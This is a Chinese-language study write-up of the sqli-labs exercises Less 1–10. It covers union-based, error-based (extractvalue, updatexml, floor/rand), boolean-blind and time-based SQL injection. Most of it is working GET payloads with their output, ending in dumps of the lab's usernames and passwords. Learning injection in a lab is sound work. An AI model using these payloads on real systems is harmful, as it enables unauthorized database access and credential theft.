SQL注入
寫在前面的總結:
Less 1-9的難度的主要提升順序:
1.正確具體信息可見,錯誤具體信息可見:
Less1-4,使用union select
將所需字段通過正確具體信息顯示;
注意判斷是整型還是字符型、單引號或雙引號、是否有括號。
2.正確具體信息不可見,錯誤具體信息可見:
Less 5-6,Double injection
類型,使用報錯注入。
3.只有正確、錯誤信息,沒有詳細信息:
Less8,基於布爾的盲注,一個一個的爆破出表名、列名、數據內容。
4.沒有任何信息
Less 9-10,基於時間的盲注,如果前面字段正確,則執行延時函數-。
Less1和Less2可用思路
1.判斷注入點是字符型還是整數型:
輸入2-1,如果是整型,2-1會被當做1;如果是字符型,‘2-1’會被當作’2’。
這涉及到MySQL的隱式類型轉換,參考鏈接:https://www.jb51.net/article/101531.htm
2.如果是字符型,判斷是否兩端是單引號:
2-1"
正常,2-1'
不正常,說明是單引號。
' or '1' = '1
如果能正常運行,說明兩端都是單引號,並且空格等字符沒有被過濾。
可能會用到#
或者--
,它們都是SQL的行內註釋,可以把引號註釋掉。
如果用#
,注意它是URL的保留字符,可能需要轉義。
如果用--
,需要在後面加上一個空格,爲防止兩端的空格被過濾,還可以在空格加上其他字符。
3.union select
聯合查詢
第一步是確定列數:
可以通過union select 1,2,3...
可以確定列數;
也可以通過order by n
確定列數,意思是通過第n列對數據表進行排序。
第二步是確定可以顯示的列:
對於1' union select 1,2,3 #
,可能由於設置,只顯示多個結果的第一條。
所以要用' union select 1,2,3 #
,第一個結果爲空,所以顯示的是自己構造的結果,比如說顯示2。就說明顯示的是第2列,之後只需要構造第2列就可以了。
第三步:利用information_schema
1.獲取現有的數據庫名
select database()
獲取所有的數據庫名
select schema_name from information_schema.schemata
2.獲取所需數據庫的表名
select table_name from information_schema.tables where table_schema = database()
3.獲取所需表的列名
select column_name from information_schema.columns where table_name='所需表名' and table_schema=database()
4.獲取所需表的全部數據
select col1, col2,... from 所需表
注意:
group_concat(schema_name)
,以組的形式顯示,多列多行結果合併成一行,不受行的限制。行與行合併成組,以逗號分隔。列與列則是直接合並,可以自行加入分隔符,如group_concat(col1,',',clo2,',',col3)
。
在用union select
調試的時候,注意前面構造的引號、應該有的列數、最後的-- 任意字符
。
Less-3 GET-Error based-Single quotes with twist-String
做題時錯誤的思路:
?id=1 //正常
?id=1' -- - //不正常,說明裏面的'被替換了,導致單引號配對失敗
?id=1\' -- - //正常返回,說明\'被替換成\\'
?id=1\' union select 1 -- -
?id=1\' union select 1,2 -- - //全部正常返回,說明select很有可能被過濾
第3題做到這裏就做不下去了,因爲想不到select
被過濾要怎麼搞。結果看答案發現思路完全錯誤!
1.在測試的時候應該輸入?id=1'
進行測試,這樣就可以看到報錯:
check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1
像之前直接?id=1' -- -
進行測試,返回的錯誤結果完全沒有關於括號的報錯。
之後對單引號進行轉義,也是完全錯誤的思路,這使得select
被作爲id字符串的一部分,作用完全沒有發揮。至於爲什麼能正常返回,猜想是因爲在查詢數據庫時,將字符串轉成int,正好只取了最前面正常的字符。
2.按照正確的思路繼續做:
?id=1') //報錯
?id=1') -- - //正常返回
?id=1') union select 1,2,3 -- - //正常,說明一共有3列
?id=0') union select 1,2,3 -- - //顯示2,3.說明2和3是可顯示列。
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
//因爲默認只顯示1列,所以要用id=0。同樣爲了顯示所有表名,需要用group_concat()將表名連接起來。其中users表看起來不錯
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' -- - //得到列名
?id=0') union select 1,2,group_concat(id,',',username,',',password) from users -- -
//成功得到所有用戶名和密碼
Less-4 GET-Error based-Double Quotes-String
?id=1' //正常
?id=1" //報錯: for the right syntax to use near '"1"") LIMIT 0,1' at line 1
//說明右側不僅是雙引號,還有小括號
?id=1") -- - //正常
?id=1") union select 1,2,3 -- -
//接下來都是同樣的套路,直到最後
?id=0") union select 1,2,group_concat(id,',',username,',',password) from users -- -
Less-5 GET-Double Injection-Single Quotes-String
?id=1 //返回的是you are in
?id=1' //報錯
?id=1' -- - //返回you are in
?id=0' union select 1,2,3 -- - //仍舊返回you are in
//用之前的方法無法再獲取更多的信息
沒有思路,跑去百度。
題目特點是,對於正確的輸入,返回相同的結果。對於錯誤的輸入,會出現報錯。
所以考慮報錯注入的方式,通過報錯信息,來進行下一步的使用。
報錯注入常用1:extractvalue()
該函數一般用於對XML文檔進行查詢,用法是extractevalue(目標xml文檔,xml路徑)
,特點是在有語法錯誤的時候會報錯,而且會顯示報錯的內容是什麼。比如說extractvalue('anything',concat('~',(select database())))
,由於以~開頭的肯定不是xml格式的語法,所以一定會報錯,在報錯時就會顯示出數據庫的內容是什麼了。
測試一下:
?id=0' and extractvalue('anything',concat('~',(select database())))-- -
可以看到報錯:XPATH syntax error: '~security'
使用這個思路繼續往下做:
?id=0' and extractvalue('anything',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())))-- -
//得到報錯XPATH syntax error: '~emails,referers,uagents,users',省略若干步:
?id=0' and extractvalue('anything',concat('~',(select group_concat(id,',',username,',',password) from users)))-- -
//得到報錯XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'
注意:extractvalue()
一次只能報錯32個字符的長度,如果需要查看剩餘的部分,則需要用substring
方法查看。
?id=0' and extractvalue('anything',concat('~',substring((select group_concat(id,',',username,',',password) from users),32,32)))-- -
//得到報錯XPATH syntax error: '~ou,3,Dummy,p@ssword,4,secure,cr'
報錯注入常用2:updatexml()
該函數用於更新xml文檔,語法爲updatexml(目標xml文檔,xml路徑,更新的內容)
。
第一個和第三個參數填寫anything
,第二個參數也是用concat
函數構造一個不存在的xml路徑。同樣也是32位查詢。
測試一下:
?id=0' and updatexml('anything',concat('~',(select group_concat(id,',',username,',',password) from users)),'anything')-- -
//成功得到報錯XPATH syntax error: '~1,Dumb,Dumb,2,Angelina,I-kill-y'
報錯注入常用3:floor()
參考鏈接:https://blog.csdn.net/wn314/article/details/89297560
基礎知識:
floor()
函數,返回小於等於輸入參數的最大整數;
rand()
產生0到1之間隨機數;
rand(X)
以X爲種子產生0到1之間隨機數,X不變,隨機數不變;
floor(rand(X)*2)
產生0或1的整數隨機數;
count(*)
和group by
統計某列數值的種類及個數。
語句格式:
select count(*) , floor(rand(14)*2) as x from information_schema.tables group by x
即將floor(rand(14)*2)
所在列重命名爲x
,並依據x
列的值的種類對錶進行統計。
報錯原理:
floor(rand(14)*2)
的前4個數值爲1 0 1 0。
MySQL首先建立臨時表,逐行掃描表information_schema.tables
,第一次計算floor
函數值得到1,查詢臨時表發現沒有鍵值爲1的行,於是準備增加一條記錄,此時第二次計算floor
函數值得到0,所以實際插入記錄的值爲(0,1)
。
MySQL繼續掃描information_schema.tables
,第三次計算floor
函數值得到1,查詢臨時表發現沒有健值爲1的行,於是準備增加一條記錄,此時第四次計算floor
函數值得到0,在插入時出現主鍵衝突,得到報錯類似於Duplicate entry '0' for key 'group_key'
。
也就是說,在MySQL數據庫中,使用group by語句時會多次計算同一個rand函數的值,每次返回一個新的結果。
這樣我們就可以使用concat
函數將我們構造的SQL語句與floor
函數進行拼接,使得錯誤結果得以顯示。
測試一下:
?id=1' union select 1,count(*), concat((select version()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
注意union select
後面還是要跟正確數量的列數,concat
函數進行拼接。得到結果Duplicate entry '5.5.44-0ubuntu0.14.04.10' for key 'group_key'
。
?id=1' union select 1,count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema=database()), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
不知道爲什麼,這裏直接group_concat
不管用。
用一下substring:
?id=1' union select 1,count(*), concat(substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
加個substring就能顯示……把100換成153能夠顯示,換成154就不行了。
返回得到Duplicate entry 'emails,referers,uagents,users0' for key 'group_key'
。
當然也可以用下面的方式一個個嘗試。
limit 0,1
表示從第一條記錄開始取,取1條
?id=1' union select 1,count(*), concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
//得到結果Duplicate entry 'emails0' for key 'group_key',所以第一個表名爲referers
//一直改到limit 3,1得到users
最後:
?id=1' union select 1,count(*), concat(substring((select group_concat(id,',',username,',',password) from users),1,100), floor(rand(14)*2)) as c from information_schema.tables group by c -- -
可以得到部分解:
Duplicate entry '1,Dumb,Dumb,2,Angelina,I-kill-you,3,Dummy,p@ssword,4,secure,crap' for key 'group_key'
Less-6 GET-Double Injection-Double Quotes-String
?id=1 //you are in...
?id=1" //報錯
?id=1" -- - //you are in...
報錯注入嘗試1:
1.測試一下能否成功
?id=1" and extractvalue('anything', concat('~', (select database()))) -- -
//報錯 XPATH syntax error: '~security'
2.爆表名
?id=1" and extractvalue('anything', concat('~', (select group_concat(table_name) from information_schema.tables where table_schema=database()))) -- -
//報錯 XPATH syntax error: '~emails,referers,uagents,users'
3.爆列名
?id=1" and extractvalue('anything', concat('~', (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) -- -
//報錯 XPATH syntax error: '~id,username,password'
4.獲取表中的所有數據
?id=1" and extractvalue('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users))) -- -
//報錯 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'
//通過substring來獲取後面的部分
?id=1" and extractvalue('anything', concat('~', substring((select group_concat(id,' ',username, ' ', password) from users),32,32))) -- -
//報錯 XPATH syntax error: '~ou,3 Dummy p@ssword,4 secure cr'
報錯注入嘗試2:
?id=1" and updatexml('anything', concat('~', (select group_concat(id,' ',username, ' ', password) from users)), 'anything') -- -
//報錯 XPATH syntax error: '~1 Dumb Dumb,2 Angelina I-kill-y'
報錯注入嘗試3:
1.確認列的個數
?id=1" union select 1,2,3-- - //you are in...
2.測試語句能否使用
?id=1" union select 1,count(*),concat((select database()),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//報錯 Duplicate entry 'security0' for key 'group_key'
3.不一步一步做了,直接爆列名
?id=1" union select 1,count(*),concat(substring((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//還是不知道爲什麼要加上substring。。。
//得到報錯 Duplicate entry 'id,username,password0' for key 'group_key'
4.爆數據
?id=1" union select 1,count(*),concat(substring((select group_concat(id,' ',username, ' ', password) from users),1,100),floor(rand(14)*2)) as c from information_schema.tables group by c-- -
//報錯 Duplicate entry '1 Dumb Dumb,2 Angelina I-kill-you,3 Dummy p@ssword,4 secure crap' for key 'group_key'
Less-7 GET-Dump into outfile-String
?id=1 //You are in.... Use outfile......
1.判斷是整數型還是字符型
?id=18 //報錯
?id=18-17 //報錯,說明不是整數型,是字符型。如果是整數型,會將18-17計算成1。
2.判斷是單引號還是雙引號
?id=1' //報錯
?id=1" //不報錯,說明id兩端一定是單引號。如果id兩端是雙引號,應該單引號時不報錯,雙引號時報錯
3.判斷單引號後面是否還有括號
?id=1'-- - //報錯,但是沒有錯誤回顯,需要自己猜測,那麼只有可能是缺少括號的問題
?id=1')-- - //報錯,再增加括號
?id=1'))-- - //不報錯
4.判斷有幾列
?id=1')) union select 1,2,3-- - //不報錯
試着寫入外部文件中:
因爲服務器不在我這端,寫了文件也看不見,所以暫時不考慮這道題。
Less-8 GET-Blind-Boolian Based-Single Quotes
盲注的特點就是隻能區分出是正確還是錯誤。不帶更具體的錯誤回顯。
1.構造盲注格式,檢驗是否正確
?id=1' union select 1,2,3-- -
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1-- -
//判斷表名的第一個字符,注意用and連接,左側一直有值,右側只有在數值正確的時候纔有值
?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'-- -
用burp suite爆破一下length:
可以知道表的總長度爲29。
接下來利用Python中的import string string.printable
獲取所有的可打印字符,構建字典。再用burp suite一個個試表中每一位:
得到第一個字符是e:
然後修改substring(,1,1)
爲substring(,2,1)
,得到第二位m,依次類推,可以得到所有的表名,然後得到所有的列名,進而得到所有的數據。
可以看出,整個過程非常麻煩,所以可以自己編寫自動化腳本完成這一過程。在編寫自動化腳本的過程中,可以使用二分法來加快進度。
Less-9 Blind-Time based-Single Quotes-String
基於時間的盲注,特點是無論正確與否返回的都是一樣的。
?id=1' and sleep(3)-- -
//看到出現明顯延遲,說明注入成功
//原因是,如果id=1'能夠查詢到數值,那麼就會執行sleep(3);如果id=1'查詢不到數值,就不會執行and後面的部分。這裏出現延遲,說明後面被執行,說明and前面的部分是正確的。
例如下面的就有明顯的延遲:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=29 and sleep(3)-- -
方法類似,只需要一個個嘗試。按照順序獲取表的長度、表名、列名、屬性名。
Less10的思路也是類似的,只是換成了雙引號。